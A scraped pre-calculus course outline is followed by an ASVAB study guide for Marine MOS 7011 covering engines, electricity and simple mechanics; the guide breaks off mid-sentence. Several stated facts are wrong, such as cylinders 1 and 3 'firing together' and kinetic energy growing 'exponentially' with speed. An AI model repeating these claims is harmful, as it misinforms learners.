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https://obridgeacademy.com/course-catalog/high-school-course/mathematics/pre-calculus/	# COURSE DESCRIPTION This course is designed to cover topics in Algebra ranging from polynomial, rational, and exponential functions to conic sections. Trigonometry concepts such as Law of Sines and Cosines will be introduced. Students will then begin analytic geometry and calculus concepts such as limits, derivatives, and integrals. This class is important for any student planning to take a college algebra or college pre-calculus class. # CHAPTERS Module 1: Functions 1.1: Functions and Function Notation 1.2 Domain and Range 1.3 Rates of Change and Behavior of Graphs 1.4 Composition of Functions 1.5 Transformation of Functions 1.6 Inverse Functions Module 2: Linear Function 2.1 Linear Functions 2.2 Graphs of Linear Functions 2.3 Modeling with Linear Functions 2.4 Fitting Linear Models to Data 2.5 Absolute Value Functions Module 3: Polynomial and Rational Functions 3.1 Power Functions & Polynomial Functions 3.3 Graphs of Polynomial Functions 3.4 Rational Functions Module 4: Exponential and Logarithmic Functions 4.1 Exponential Functions 4.2 Graphs of Exponential Functions 4.3 Logarithmic Functions 4.4 Logarithmic Properties 4.5 Graphs of Logarithmic Functions 4.6 Exponential and Logarithmic Models 4.7 Fitting Exponentials to Data Module 5: Trigonometric Functions of Angles 5.1 Circles 5.2 Angles 5.3 Points on Circles using Sine and Cosine 5.4 The Other Trigonometric Functions 5.5 Right Triangle TrigonometryModule Module 6: Periodic Functions 6.1 Sinusoidal Graphs 6.2 Graphs of the Other Trig Functions 6.3 Inverse Trig Functions 6.4 Solving Trig Equations 6.5 Modeling with Trigonometric Equations Module 7: Trigonometric Equations and Identities 7.1 Solving Trigonometric Equations with Identities	{"extraction_info": {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.8084803819656372, "perplexity": 8037.875840095691}, "config": {"markdown_headings": true, "markdown_code": false, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2020-50/segments/1606141674594.59/warc/CC-MAIN-20201201135627-20201201165627-00636.warc.gz"}
https://www.asvabtestbank.com/study-guide/mos/7011/515	# Marine Corps 7011 Expeditionary Airfield Systems Technician ASVAB Study Guide Branch Marine Corps MOS 7011 Title Expeditionary Airfield Systems Technician Description An expeditionary airfield systems technician employs, installs, operates, inspects, and repairs expeditionary airfield (EAF) systems to include arresting gear, visual landing aids, airfield AM-2 matting and accessories, EAF communications and airfield lighting and marking. In addition, Marines in this field operate, inspect, and maintain emergency arresting gear systems for high performance Naval and Marine Corps Tail Hook aircraft, design expeditionary AM-2 airfield facilities, provide field marker light (FML) systems for Marine Expeditionary Units (MEUs), and conduct tactical/assault landing zone assessment surveys (TALZAS) for Naval and Marine Corps tactical aircraftOperates and performs preventive maintenance on expeditionary airfield systems; Installs and performs preventive maintenance on AM-2 matting utilized in conjunction with recovery equipment; Installs and performs preventive maintenance on visual landing aids; Follows published safety regulations relative to working near and on a runway and know the hazardous zones; Utilizes visual hand and light signals required in recovery operations; Maintains tools, instruments, and test equipment; Documents maintenance actionsAssists in the preparation of the airfield operations manual and related operations instructions; Acts as overall enlisted technical advisor and coordinator for the integration of the EAF components into the airfield operations; Organizes, supervises, and assists in the management of an aviation operations activity; Conducts Tactical/Assault Landing Zone Assessment Surveys Subtests Automotive Information, Electronics Information, Mechanical Comprehension, Shop Information # Automotive Information • 103 Questions • 103 Flash Cards ### Engine Fundamentals ##### Components ###### Internal Combustion Combustion is the burning of an air-fuel mixture to provide energy. It requires the presence of air, fuel, and a heat source to ignite the air-fuel mixture. In the internal combustion engine that powers automobiles and trucks the combustion happens inside the engine utilzing a fuel like gasoline, diesel fuel, or natural gas. ###### Engine Block The engine (or cylinder) block is the large casing that contains the cylinders and many of the internal components of the engine. ###### Cylinders Cylinders act as a guide for the pistons that translate the heat energy of combustion into the mechanical energy necessary to move a vehicle. Piston rings seal the piston to the cylinder to contain combustion gases and also regulate the oil distribution between the piston and cylinder wall. A cylinder head closes in the top of the cylinder forming the combustion chamber which is sealed by a head gasket (head). The head provides space for air and fuel intake valves, exhaust valves, and mounts for spark plugs and fuel injectors. ###### Combustion Chamber The combustion chamber is located in the cylinder head and contains the combustion of the air-fuel mixture. This mixture is delivered by an intake valve and the waste gases from combustion are removed from the combustion chamber by the exhaust valve. ###### Connecting Rod A connecting rod employs a wrist pin to link each piston to the engine's crankshaft. ###### Crankshaft The crankshaft converts the reciprocating motion of the piston into the rotational motion that's used to power the vehicle and its components. ###### Camshaft The camshaft is linked to the crankshaft through a timing belt and regulates the opening and closing of the intake and exhaust valves in each cylinder in time with the motion of the piston. An engine designated OverHead Camshaft (OHC) locates the camshaft in the cylinder head. An engine with Double OverHead Camshaft (DOHC) has two camshafts, one to regulate the intake valves and one to regulate the exhaust valves. ###### Cylinder Arrangement Cylinder number and arrangement depends on the purpose of the engine. Smaller (four and six cylinder) engines in front-wheel drive vehicles often use an inline design which orients cylinders vertically over the crankshaft and aligns them in a row. Other common orientations are a horizontal/opposed design which places cylinders flat facing each other with the crankshaft between them and a V-type design common in six and eight cylinder engines that features one cylinder head per block of cylinders oriented at a 60 to 90 degree angle to each other with the crankshaft at the bottom of the V. ##### Stroke Cycle ###### Intake Stroke The four-stroke piston cycle of internal combustion engines starts with the piston at top of the cylinder head (top dead center or TDC) during the intake stroke. The piston moves downward in the cylinder creating a vacuum that pulls an air-fuel mix into the combustion chamber through the now open intake valve. ###### Compression Stroke During the compression stroke, both intake and exhaust valves are closed as the piston begins moving back up from the bottom of the cylinder (bottom dead center or BDC). This compresses the air-fuel mixture in the combustion chamber which also makes it hotter. ###### Power Stroke During the power stroke, just before the piston reaches top dead center, the spark plug fires and ignites the compressed air-fuel mixture. The resulting expansion due to combustion pushes the piston back down the cylinder toward bottom dead center. ###### Exhaust Stroke During the exhaust stroke, just before the piston reaches bottom dead center the exhaust valve opens. The resulting gases from combustion are then pushed out through the exhaust valve as the piston travels up the cylinder to top dead center, completing stroke four of the four-stroke piston cycle. ##### Operation ###### Firing Order The stroke cycle of an engine is governed by the crankshaft which serves to regulate the firing order of the cylinders. All cylinders are not on the same stroke at the same time and correct firing order is important to balance engine operation and minimize vibrations. A common firing order for four-cylinder engines is 1-3-4-2 which indicates that cylinders 1 and 3 fire (power stroke)together and cylinders 4 and 2 fire together. ###### Air-Fuel Mixture The stoichiometric ratio defines the proper ratio of air to fuel necessary so that an engine burns all fuel with no excess air. For gasoline fuel, the stoichiometric ratio is about 14.7:1 or for every one gram of fuel, 14.7 grams of air are required. Too much air results in a lean air-fuel mixture that burns more slowly and hotter while too much fuel results in a rich mixture that burns quicker and cooler. ###### Ignition Timing Ignition timing defines the point in time at the end of the compression stroke that the spark plug fires. Measured in number of degrees before top dead center (BTDC), the exact point that the spark plugs initiate combustion varies depending on the speed of the engine. The timing is advanced (the spark plugs fire a few more degrees BTDC) when the engine is running faster and retarded when it's running slower. ###### Combustion Normal combustion in an engine is initiated by a spark plug and results in the complete burning of the air-fuel mixture. If combustion is initiated by a source other than the spark plug, by a hot spot in the cylinder or combustion chamber for example, pre-ignition results. Detonation results if the air-fuel mixture explodes instead of burning. Detonation can cause extremes in pressure in the combustion chamber leading to engine damage. ### Engine Systems ##### Cooling System ###### Coolant Modern car engines are cooled by liquid which circulates through the engine block and cylinder heads absorbing excess heat. This liquid is made up of half water and half antifreeze (commonly, ethylene glycol) which both keeps the water from freezing at low temperatures and raises its boiling point making heat transfer more efficient. ###### Water Pump The water pump is driven by a belt connected to the crankshaft and ensures that coolant moves through the engine and radiator. ###### Water Jacket A water jacket is a coolant-filled casing that allows heat transfer from the engine block and cylinder heads to the liquid coolant. ###### Thermostat The thermostat controls coolant (and, through it, engine) temperature by regulating the flow of coolant through the radiator. A bypass tube allows coolant to bypass the radiator and flow back into the water pump when its temperature is low enough that the thermostat is closed. The radiator is responsible for tranferring heat from the coolant to the outside air. Radiator hoses transfer coolant to and from the engine to the radiator and a radiator cap maintains pressure in the cooling system to increase the boiling point of the coolant mixture and thus allow it to absorb more heat. ##### Lubrication System ###### Purpose The lubrication system lubricates engine components by putting an oil film between them to reduce friction and smooth engine operation, cools by absorbing heat from engine parts, seals the pistons and cylinders to contain combustion, cleans contaminants, and quiets engine noise. ###### Oil Viscosity The primary component of the lubrication system is engine oil. Engines require oil blends with different thickness (viscosity) and additives depending on their operating conditions. Viscosity is rated using the format XW-XX with the number preceding the W (winter) rating the oil’s viscosity at 0 ℉ (-17.8 ℃) and the XX indicating viscosity at 100 ℃. ###### Oil Pump The oil pump is driven by the camshaft and is responsible for pumping oil through the oil galleries (passages) that run throughout the engine. It also contains the oil filter and a pressure relief valve which prevents excessive pressure from building up in the lubrication system. ###### Oil Pan The oil pan contains the engine oil reservoir of from four to six quarts of oil and feeds the oil pump through the oil pickup tube. An oil strainer floats at the top of the oil in the oil pan and screens debris from the oil before feeding it to the oil pump. ##### Fuel System ###### Fuel Injector The fuel injector sprays fuel into the air stream that's being fed into the cylinder head via the intake valve. The timing and amount of fuel are regulated by the powertrain control module (PCM) which is the main computer that controls engine and transmission functions. ###### Electric Fuel Pump The electric fuel pump feeds pressurized fuel through a fuel filter to the fuel injectors via the fuel rail manifold. The fuel rail contains the fuel pressure regulator which ensures that the fuel injectors receive fuel at a consistent and known rate. Excess fuel bled off by the pressure regulator returns to the fuel tank through the fuel return line. ###### Intake Manifold The intake manifold distributes outside air to the intake ports on the cylinder heads. The intake air filter removes any airborne contaminants before the air enters the engine. ##### Ignition System ###### Battery The battery supplies the power necessary to start the engine when the ignition switch is is turned on. ###### Ignition Coil The ignition coil is a high-voltage transformer made up of two coils of wire. The primary coil winding is the low-voltage winding and has relatively few turns of heavy wire. The secondary coil winding is the high-voltage winding that surrounds the primary and is made up of thousands of turns of fine wire. Current flows from the battery through the primary coil winding which creates a changing magnetic field inside the secondary coil. This induces a very high-voltage current in the secondary coil which it feeds to the distributor. ###### Distributor The distributor is driven by the engine's camshaft and is responsible for timing the spark and distributing it to the correct cylinder. The distributor cap contains a rotor that connects the ignition coil (and its high voltage) to the proper cylinder at the proper point in the stroke cycle. ###### Spark Plugs Spark plugs receive current from the distributor and use it to spark combustion in the combustion chamber of a cylinder. ##### Exhaust System ###### Exhaust Manifolds The cast iron exhaust manifolds collect engine exhaust gas from multiple cylinder exhaust valves and deliver it to the exhaust pipe. Exhaust manifolds can be generic or specially tuned (header pipes) to the engine. Header pipes deliver higher performance but are more expensive and less durable. ###### Catalytic Converter The catalytic converter converts pollutants in exhaust gas into less pollutant substances like carbon dioxide and water. ###### Muffler The muffler follows the catalytic converter and absorbs sound to help quiet load exhaust. It is followed by the exhaust pipe which is the final exit point for exhaust gas from the vehicle. ### Electrical and Computer Systems ##### Electrical System Components ###### Battery The lead-acid battery is the core of the electrical system, providing current to the ignition system to start the engine as well as delivering supplemental current when the alternator can't handle high electrical system loads and acting as an electrical reservoir for excessive current. ###### Solenoid The cylindrical solenoid is a relay that safely connects the high amperage battery to the starter motor when the ignition key is turned. This current then allows the engine to turn at a high enough speed to start. ###### Alternator Once the engine is running, the alternator provides electrical current to recharge the battery and power the electrical system. The alternator is driven by the engine's crankshaft and produces alternating current (AC) which is then fed through a rectifier bridge to convert it to the direct current (DC) required by the electrical system. A voltage regulator controls the output of the alternator to maintain a consistent voltage (approx. 14.5 volts) in the electrical system regardless of load. ###### Lighting The lighting system consists of interior lights, instrument panel lighting, headlights, and taillights. Like household electrical circuits, the vehicle's lighting system is protected from current spikes by fuses and circuit breakers. ##### Computer System Components ###### Sensors Sensors provide the data necessary for the vehicle's computer to make decisions and monitor everything from simple vehicle information like tire pressure to complexities like the chemical content of an engine's exhaust. ###### Powertrain Control Module The main computer or powertrain control module (PCM) uses pre-programmed software to analyze the input received from sensors and produce output signals to adjust vehicle performance and operation. (Engine control unit (ECU) is another name for the PCM.) ###### Actuators Actuators receive signals from the powertrain control module and carry out adjustments needed based on the data the PCM received from the sensors. ### Operational Systems ##### Drive Train ###### Transmission The transmission provides the appropriate power to vehicle wheels to maintain a given speed. The engine and the transmission have to be disconnected to shift gears and a manual transmission requires the driver to manually manage this disconnection (using a clutch) and to manually shift gears. An automatic transmission is essentially an automatic gear shifter and handles this process without driver input. ###### Transaxle A differential is designed to drive a pair of wheels while allowing them to rotate at different speeds. A transaxle is a transmission that incorporates the differential in one package. Most front-wheel drive cars use a transaxle while rear-wheel drive cars use a transmission and separate differential connected via a drive shaft. The differential is incorporated into the drive axle which splits engine power delivered by the drive shaft between the two drive wheels. All-wheel drive cars typically use a transaxle that includes an output shaft to the rear differential. ###### Half Shaft A half shaft is a drive axle that extends from a transaxle or differential to one of the drive wheels. There are two half shafts per drive axle, one for each wheel, each doing "half" the job. ###### CV Joints Constant velocity (CV) joints are located at both ends of a half shaft and their purpose is to transfer the torque from the transmission to the drive wheels at a constant speed while accomodating the up and down movement of the suspension. The inner CV joint connects the shaft to the transmission and the outer CV joint connects the shaft to the wheel. ###### Universal Joints Like CV joints, universal joints (U-joints) are located at each end of a drive shaft and allow the shaft to operate at a variable angle with the item it is driving. Universal joints perform the same basic function as CV joints but CV joints have a wider range of operation. ###### Transfer Case The transfer case splits engine power between the front and rear axles of four-wheel drive vehicles. ##### Suspension and Steering System ###### Independent Suspension Most modern cars use an independent suspension system on the front wheels. This setup allows each of the wheels on an axle to move independently in response to road level variations. Independent suspension offers much better handling and stability when compared to a rigid axle suspension at the cost of being structurally weaker and more costly to maintain. ###### Springs Suspension springs are made with wide gap coils of rigid steel cable and both hold the vehicle chassis up off the ground and absorb energy from wheel movement making for a smoother ride. ###### Shock Absorbers Because a compressed spring will extend violently, shock absorbers must be used to dampen the spring’s compression and extension cycles. Struts combine the spring and shock into one unit ###### Control Arms Control arms (upper and lower) connect a vehicle's suspension to the frame. The connection to the wheels is through ball joints which allow the control arms to turn and move up and down simultaneously. The frame connection uses bushings. The steering linkage is a system of pivots and connecting parts between the steering gear and the control arms. The steering linkage transfers the motion of the steering gear output shaft to the steering arms that turn the wheels. ###### Wheel Hub The wheel hub is the mounting point for the wheel and tire assembly. The wheel hub can rotate while being held stable by the steering knuckle which applies the motion of the control arms to the wheels. ##### Braking System ###### Master Cylinder The master (brake) cylinder converts pressure on the brake pedal to hydraulic pressure in the brake lines. ###### Fluid Reservoir The fluid reservoir stores the brake fluid that the master cylinder uses to maintain hydraulic pressure. ###### Brakes Brakes utlize friction to slow vehicle tires. Drum brakes employ a cast iron drum that roates with the vehicle axle. When hydraulic pressure is applied to the brake assemblies at the wheels, internal pistons expand and push brake shoes outward into contact with the brake drum slowing the rotation of the axle. More powerful disc brakes operate by pinching a rotating disc betweeen two brake pads and allow for a larger surface area to contact the disc, provide more force, and are more easily cooled. ###### Power Brakes Power brakes multiply the force a driver applies to the brake pedal using a vacuum booster connected to the engine intake manifold. This provides for much higher hydraulic pressure in the braking system than could be generated by the driver alone. Antilock brakes (ABS) use speed sensors and adjust the brake pressure at each wheel to prevent skidding and allow the driver more steering control in slippery conditions. # Electronics Information • 104 Questions • 9 Problems • 77 Flash Cards ### Electricity ##### Electron Flow ###### Electrons All electricity is the movement of electrons which are subatomic particles that orbit the nucleus of an atom. Electrons occupy various energy levels called shells and how well an element enables the flow of electrons depends on how many electrons occupy its outer (valence) electron shell. ###### Conductors Conductors are elements that allow electrons to flow freely. Their valence shell is less than half full of electrons that are able to move easily from one atom to another. ###### Insulators Insulators have valence shells that are more than half full of electrons and, as such, are tightly bound to the nucleus and difficult to move from one atom to another. ###### Semiconductors Semiconductors have valence shells that are exacly half full and can conduct electricity under some conditions but not others. This property makes them useful for the control of electrical current. ###### Current Current is the rate of flow of electrons per unit time and is measured in amperes (A). A coulomb (C) is the quantity of electricity conveyed in one second by a current of one ampere. ###### Voltage Voltage (V) is the electrical potential difference between two points. Electrons will flow as current from areas of high potential (concentration of electrons) to areas of low potential. Voltage and current are directly proportional in that the higher the voltage applied to a conductor the higher the current that will result. ###### Resistance Resistance is opposition to the flow of current and is measured in ohms (Ω). One ohm is defined as the amount of resistance that will allow one ampere of current to flow if one volt of voltage is applied. As resistance increases, current decreases as resistance and current are inversely proportional. ###### Conductive Materials All conductors have resistance and the amount of resistance varies with the element. But, resistance isn't the only consideration when choosing a conductor as the most highly conductive elements like silver and gold are also more expensive and more brittle than slightly less conductive elements like copper. A balance needs to be struck between the electrical qualities of a material and its cost and durability. ###### Power Electrical power is measured in watts (W) and is calculated by multiplying the voltage (V) applied to a circuit by the resulting current (I) that flows in the circuit: P = IV. In addition to measuring production capacity, power also measures the rate of energy consumption and many loads are rated for their consumption capacity. For example, a 60W lightbulb utilizes 60W of energy to produce the equivalent of 60W of heat and light energy. ##### Circuits A load is a source of resistance that converts electrical energy into another form of energy. The components of a microwave, for example, are loads that work together to convert household electricity into radation that can be used to quickly cook food. ###### Open & Closed Circuits A closed circuit is a complete loop or path that electricity follows. It consists of a source of voltage, a load, and connective conductors. If the circuit is interrupted, if a wire is disconnected or cut for example, it becomes an open circuit and no electricity will flow. ###### Ohm's Law Ohm's law specifies the relationship between voltage (V), current (I), and resistance (R) in an electrical circuit: V = IR. ###### Series Circuit A series circuit has only one path for current to flow. In a series circuit, current (I) is the same throughout the circuit and is equal to the total voltage (V) applied to the circuit divided by the total resistance (R) of the loads in the circuit. The sum of the voltage drops across each resistor in the circuit will equal the total voltage applied to the circuit. ###### Parallel Circuit In a parallel circuit, each load occupies a separate parallel path in the circuit and the input voltage is fully applied to each path. Unlike a series circuit where current (I) is the same at all points in the circuit, in a parallel circuit, voltage (V) is the same across each parallel branch of the circuit but current differs in each branch depending on the load (resistance) present. ###### Series-Parallel Circuits Circuits are not limited to only series or only parallel configurations. Most circuits contain a mix of series and parallel segments. A good example is a household circuit breaker. Electrical outlets in each section of the house are wired in parallel with the circuit breaker for that section wired in series making it easy to cut off electricity to the parallel parts of the circuit when needed. ###### Battery Configurations Batteries can be connected together in various combinations to increase their total voltage and/or total current. Connecting batteries in series combines their voltage while keeping their current the same, connecting batteries in parallel combines their current while keeping their voltage the same, and using a series-parallel configuration, half the batteries can be connected in series and half in parallel to combine both voltage and current. ### Electrical Systems ##### Types of Current ###### Direct Current (DC) Direct current flows in only one direction in a circuit, from the negative terminal of the voltage source to the positive. A common source of direct current (DC) is a battery. ###### Alternating Current (AC) In contrast to the constant one-way flow of direct current, alternating current changes direction many times each second. Electricity is delivered from power stations to customers as AC because it provides a more efficient way to transport electricity over long distances. ##### Electronic Components ###### Resistors Resistors are used to limit voltage and/or current in a circuit and can have a fixed or variable resistance. Variable resistors (often called potentiometers or rheostats) are used when dynamic control over the voltage/current in a circuit is needed, for example, in a light dimmer or volume control. ###### Fuses Fuses are thin wires that melt when the current in a circuit exceeds a preset amount. They help prevent short circuits from damaging circuit components when an unusually large current is applied to the circuit, either through component failure or spikes in applied voltage. ###### Circuit Breakers Like fuses, circuit breakers stop current flow once it reaches a certain amount. They have the advantage of being reusable (fuses must be replaced when "blown") but respond more slowly to current surges and are more expensive than fuses. ###### Capacitors Capacitors store electricity and are used in circuits as temporary batteries. Capacitors are charged by DC current (AC current passes through a capacitor) and that stored charge can later be dissipated into the circuit as needed. Capacitors are often used to maintain power within a system when it is disconnected from its primary power source or to smooth out or filter voltage within a circuit. ###### Diodes A diode allows current to pass easily in one direction and blocks current in the other direction. Diodes are commonly used for rectification which is the conversion of alternating current (AC) into direct current (DC). Because a diode only allows current flow in one direction, it will pass either the upper or lower half of AC waves (half-wave rectification) creating pulsating DC. Multiple diodes can be connected together to utilize both halves of the AC signal in full-wave rectification. ###### Transistors The transistor is the foundation of modern electronic devices. It is made entirely from semiconductor material (making it a solid state device) and can serve many different functions in a circuit including acting as a switch, amplifier, or current regulator. A transistor works by allowing a small amount of current applied at the base to control general current flow from collector to emitter through the transistor. ###### Integrated Circuits Circuits containing transistors are packaged into integrated circuit chips that allow encapsulating complex circuit designs (CPU, memory, I/O) for easier integration into electronic devices and machines. ###### Thermocouples A thermocouple is a temperature sensor that consists of two wires made from different conductors. The junction of these two wires produces a voltage based on the temperature difference between them. ##### Magnetism ###### Magnetic Fields A moving electric current produces a magnetic field proportional to the amount of current flow. This magnetic field can be made stronger by winding the wire into a coil and further enhanced if done around an iron containing (ferrous) core. ###### Inductors An inductor is coiled wire that stores electric energy in the form of magnetic energy and resists changes in the electric current flowing through it. If current is increasing, the inductor produces a voltage that slows the increase and, if current is decreasing, the magnetic energy in the coil opposes the decrease to keep the current flowing longer. In contrast to capacitors, inductors allow DC to pass easily but resist the flow of AC. ###### Transformers A transformer utilizes an inductor to increase or decrease the voltage in a circuit. AC flowing in a coil wrapped around an iron core magnetizes the core causing it to produce a magnetic field. This magnetic field generates a voltage in a nearby coil of wire and, depending on the number of turns in the wire of the primary (source) and secondary coils and their proximity, voltage is induced in the secondary coil. # Mechanical Comprehension • 94 Questions • 34 Problems • 100 Flash Cards ### Fundamentals of Mechanics ##### Principles ###### Mechanics Mechanics deals with motion and the forces that produce motion. ###### Mass Mass is a measure of the amount of matter in an object. In general, larger objects have larger mass than smaller objects but mass ultimately depends on how compact (dense) a substance is. ###### Inertia The more mass a substance has the more force is required to move it or to change its direction. This resistance to changes in direction is known as inertia. ###### Net Force In mechanics, multiple forces are often acting on a particular object and, taken together, produce the net force acting on that object. Like force, net force is a vector quantity in that it has magnitude and direction. ###### Newton's Second Law of Motion Newton's Second Law of Motion states that "The acceleration of an object as produced by a net force is directly proportional to the magnitude of the net force, in the same direction as the net force, and inversely proportional to the mass of the object." This Law describes the linear relationship between mass and acceleration when it comes to force and leads to the formula F = ma or force equals mass multiplied by rate of acceleration. ###### Universal Gravitation Newton's Law of Univeral Gravitation defines the general formula for the attraction of gravity between two objects: $$\vec{F_{g}} = { Gm_{1}m_{2} \over r^2}$$ . In the specific case of an object falling toward Earth, the acceleration due to gravity (g) is approximately 9.8 m/s2. ###### Weight Mass is an intrinsic property of matter and does not vary. Weight is the force exerted on the mass of an object due to gravity and a specific case of Newton's Second Law of Motion. Replace force with weight and acceleration with acceleration due to gravity on Earth (g) and the result is the formula for weight: W = mg or, substituting for g, weight equals mass multiplied by 9.8 m/s2. ###### Boyle's Law Boyle's law states that "for a fixed amount of an ideal gas kept at a fixed temperature, pressure and volume are inversely proportional". Expressed as a formula, that's $$\frac{P_1}{P_2} = \frac{V_2}{V_1}$$ ##### Friction ###### Kinetic Friction Friction resists movement. Kinetic (also called sliding or dynamic) friction resists movement in a direction opposite to the movement. Because it opposes movement, kinetic friction will eventually bring an object to a stop. An example is a rock that's sliding across ice. ###### Static Friction Static friction is friction between two or more solid objects that are not moving relative to each other. An example is the friction that prevents a box on a sloped surface from sliding farther down the surface. ###### Coefficient of Friction Coefficient of friction (μ) represents how much two materials resist sliding across each other. Smooth surfaces like ice have low coefficients of friction while rough surfaces like concrete have high μ. ###### Normal Force Normal force (FN) represents the force a surface exerts when an object presses against it. ###### Force of Friction The formula for force of friction (Ff) is the same whether kinetic or static friction applies: Ff = μFN. To distinguish between kinetic and static friction, μk and μs are often used in place of μ. ###### Kinetic vs. Static Friction For any given surface, the coefficient of static friction is higher than the coefficient of kinetic friction. More force is required to initally get an object moving than is required to keep it moving. Additionally, static friction only arises in response to an attempt to move an object (overcome the normal force between it and the surface). ###### Normal Force vs. Weight Normal force arises on a flat horizontal surface in response to an object's weight pressing it down. Consequently, normal force is generally equal to the object's weight. ##### Other Forces ###### Drag Drag is friction that opposes movement through a fluid like liquid or air. The amount of drag depends on the shape and speed of the object with slower objects experiencing less drag than faster objects and more aerodynamic objects experiencing less drag than those with a large leading surface area. ###### Tension Tension is a force that stretches or elongates something. When a cable or rope is used to pull an object, for example, it stretches internally as it accepts the weight that it's moving. Although tension is often treated as applying equally to all parts of a material, it's greater at the places where the material is under the most stress. ###### Hydraulic Pressure Hydraulics is the transmission of force through the use of liquids. Liquids are especially suited for transferring force in complex machines because they compress very little and can occupy very small spaces. Hydraulic pressure is calculated by dividing force by the area over which it is applied: P = F/A where F is force in pounds, A is area in square inches, and the resulting pressure is in pounds per square inch (psi). ###### Pascal's Law Pascal's law states that a pressure change occurring anywhere in a confined incompressible fluid is transmitted throughout the fluid such that the same change occurs everywhere. For a hydraulic system, this means that a pressure applied to the input of the system will increase the pressure everywhere in the system. ###### Torque Torque measures force applied during rotation: τ = rF. Torque (τ, the Greek letter tau) = the radius of the lever arm (r) multiplied by the force (F) applied. Radius is measured from the center of rotation or fulcrum to the point at which the perpendicular force is being applied. The resulting unit for torque is newton-meter (N-m) or foot-pound (ft-lb). ###### Principle of Moments When a system is stable or balanced (equilibrium) all forces acting on the system cancel each other out. In the case of torque, equilibrium means that the sum of the anticlockwise moments about a center of rotation equal the sum of the clockwise moments. ##### Energy, Work, & Power ###### Joules The Joule (J) is the standard unit of energy and has the unit $${kg \times m^2} \over s^2$$. ###### Kinetic Energy Kinetic energy is the energy of movement and is a function of the mass of an object and its speed: $$KE = {1 \over 2}mv^2$$ where m is mass in kilograms, v is speed in meters per second, and KE is in joules. The most impactful quantity to kinetic energy is velocity as an increase in mass increases KE linearly while an increase in speed increases KE exponentially. ###### Potential Energy Potential energy is the energy of an object by virtue of its position relative to other objects. It is energy that has the potential to be converted into kinetic energy. ###### Gravitational Potential Energy Gravitational potential energy is energy by virtue of gravity. The higher an object is raised above a surface the greater the distance it must fall to reach that surface and the more velocity it will build as it falls. For gravitational potential energy, PE = mgh where m is mass (kilograms), h is height (meters), and g is acceleration due to gravity which is a constant (9.8 m/s2). ###### Conservation of Mechanical Energy As an object falls, its potential energy is converted into kinetic energy. The principle of conservation of mechanical energy states that, as long as no other forces are applied, total mechanical energy (PE + KE) of the object will remain constant at all points in its descent. ###### Work Work is accomplished when force is applied to an object: W = Fd where F is force in newtons (N) and d is distance in meters (m). Thus, the more force that must be applied to move an object, the more work is done and the farther an object is moved by exerting force, the more work is done. ###### Work-Energy Theorem The work-energy theorem states that the work done by the sum of all forces acting on a particle equals the change in the kinetic energy of the particle. Simply put, work imparts kinetic energy to the matter upon which the work is being done. ###### Power Power is the rate at which work is done, P = w/t, or work per unit time. The watt (W) is the unit for power and is equal to 1 joule (or newton-meter) per second. Horsepower (hp) is another familiar unit of power used primarily for rating internal combustion engines. A 1 hp machine does 550 ft⋅lb of work in 1 second and 1 hp equals 746 watts. ### Machines ##### Simple Machines ###### Types of Simple Machines The six types of simple machines are the lever, wheel and axle, pulley, inclined plane, wedge, and screw. Mechanical advantage is a measure of the force amplification achieved by using a tool, mechanical device or machine system. Such a device utilizes input force and trades off forces against movement to amplify and/or change its direction. ###### Efficiency The efficiency of a machine describes how much of the power put into the machine is turned into movement or force. A 100% efficient machine would turn all of the input power into output movement or force. However, no machine is 100% efficient due to friction, heat, wear and other imperfections that consume input power without delivering any output. ###### Inclined Plane An inclined plane is a simple machine that reduces the force needed to raise an object to a certain height. Work equals force x distance and, by increasing the distance that the object travels, an inclined plane reduces the force necessary to raise it to a particular height. In this case, the mechanical advantage is to make the task easier. An example of an inclined plane is a ramp. ###### Wedge The wedge is a moving inclined plane that is used to lift, hold, or break apart an object. A wedge converts force applied to its blunt end into force perpendicular to its inclined surface. In contrast to a stationary plane where force is applied to the object being moved, with a wedge the object is stationary and the force is being applied to the plane. Examples of a wedge include knives and chisels. ###### First-Class Lever A first-class lever is used to increase force or distance while changing the direction of the force. The lever pivots on a fulcrum and, when a force is applied to the lever at one side of the fulcrum, the other end moves in the opposite direction. The position of the fulcrum also defines the mechanical advantage of the lever. If the fulcrum is closer to the force being applied, the load can be moved a greater distance at the expense of requiring a greater input force. If the fulcrum is closer to the load, less force is required but the force must be applied over a longer distance. An example of a first-class lever is a seesaw / teeter-totter. ###### Second-Class Lever A second-class lever is used to increase force on an object in the same direction as the force is applied. This lever requires a smaller force to lift a larger load but the force must be applied over a greater distance. The fulcrum is placed at one end of the lever and mechanical advantage increases as the object being lifted is moved closer to the fulcrum or the length of the lever is increased. An example of a second-class lever is a wheelbarrow. ###### Third-Class Lever A third-class lever is used to increase distance traveled by an object in the same direction as the force applied. The fulcrum is at one end of the lever, the object at the other, and the force is applied between them. This lever does not impart a mechanical advantage as the effort force must be greater than the load but does impart extra speed to the load. Examples of third-class levers are shovels and tweezers. ###### Fixed Pulley A fixed pulley is used to change the direction of a force and does not multiply the force applied. As such, it has a mechanical advantage of one. The benefit of a fixed pulley is that it can allow the force to be applied at a more convenient angle, for example, pulling downward or horizontally to lift an object instead of upward. ###### Block and Tackle Two or more pulleys used together constitute a block and tackle which, unlike a fixed pulley, does impart mechanical advantage as a function of the number of pulleys that make up the arrangement. So, for example, a block and tackle with three pulleys would have a mechanical advantage of three. ###### Wheel and Axle A wheel and axle uses two different diameter wheels mounted to a connecting axle. Force is applied to the larger wheel and large movements of this wheel result in small movements in the smaller wheel. Because a larger movement distance is being translated to a smaller distance, force is increased with a mechanical advantage equal to the ratio of the diameters of the wheels. An example of a wheel and axle is the steering wheel of a car. ###### Screw A screw is an inclined plane wrapped in ridges (threads) around a cylinder. The distance between these ridges defines the pitch of the screw and this distance is how far the screw advances when it is turned once. The mechanical advantage of a screw is its circumference divided by the pitch. ##### Gears ###### Gear Trains Connected gears of different numbers of teeth are used together to change the rotational speed and torque of the input force. If 